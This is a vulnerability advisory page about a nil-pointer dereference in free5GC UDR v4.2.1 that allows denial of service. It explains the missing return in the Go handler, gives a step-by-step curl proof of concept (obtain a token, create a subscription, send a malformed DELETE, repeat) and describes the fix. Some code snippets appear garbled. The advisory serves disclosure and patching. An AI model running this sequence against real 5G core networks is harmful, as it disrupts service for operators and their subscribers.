free5GC UDR, Nil-pointer dereference, CVE (pending) (Medium)

Listen to this Post

How the CVE works

The flaw resides in the UDR’s `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` endpoint. To trigger it, an attacker first creates any EE subscription for a target ueId, which makes UDR allocate an in‑memory `UESubsData` map entry. Then, the attacker sends a valid authenticated DELETE request with a non‑existent subsId. Inside the vulnerable handler, the code checks:

_, ok = UESubsData.EeSubscriptionCollection[bash]
if !ok {
pd = util.ProblemDetailsNotFound("SUBSCRIPTION_NOT_FOUND")
}

It correctly detects the missing subscription and sets a problem‑details error object. However, the function does not return after this error branch. Instead, execution continues to the next line:

if UESubsData.EeSubscriptionCollection[bash].AmfSubscriptionInfos == nil {

Because `subsId` is absent, `UESubsData.EeSubscriptionCollection

` is a `nil` pointer. Dereferencing it to access `.AmfSubscriptionInfos` triggers a Go runtime panic: <code>runtime error: invalid memory address or nil pointer dereference</code>. The Gin web framework recovers the panic and returns an HTTP 500 error, but the endpoint remains repeatedly panicable. The attacker can repeat the request to degrade UDR performance, causing a denial‑of‑service condition.

<h2 style="color: blue;">DailyCVE form</h2>

Platform: free5GC UDR
Version: v4.2.1
Vulnerability : Nil‑pointer dereference
Severity: Medium
date: 2026‑05‑08

<h2 style="color: blue;">Prediction: 2026‑07‑15</h2>

<h2 style="color: blue;">What Undercode Say:</h2>

[bash]
Restart UDR (clean state)
docker restart udr
Obtain a valid nudr-dr token from NRF
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'
Create one EE subscription to populate UESubsCollection for ueId=x
curl -i -sS -X POST \
'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \
-H 'Authorization: Bearer <valid_nudr_dr_jwt>' \
-H 'Content-Type: application/json' \
--data '{}'
Trigger the panic with a nonexistent subsId
curl -i -sS -X DELETE \
'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \
-H 'Authorization: Bearer <valid_nudr_dr_jwt>'

Exploit:

Send one authenticated POST to `/ee-subscriptions` for any ueId, then send an authenticated DELETE to `/ee-subscriptions/{badSubsId}/amf-subscriptions` for the same ueId. The second request crashes the UDR goroutine (Gin recovers, but the endpoint remains panicable). Repeat to sustain a denial‑of‑service.

Protection from this CVE

Upgrade to a patched version that includes the fix from free5gc/udr60 (add a `return` statement in the missing‑subscription branch). Alternatively, apply the upstream patch that checks for nil before dereferencing, or deploy a reverse proxy that blocks DELETE requests targeting non‑existent subsId.

Impact

Authenticated attacker can reliably crash the UDR’s data‑repository handler, causing per‑request CPU and log writes. No confidentiality or persistence impact; only temporary availability degradation.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top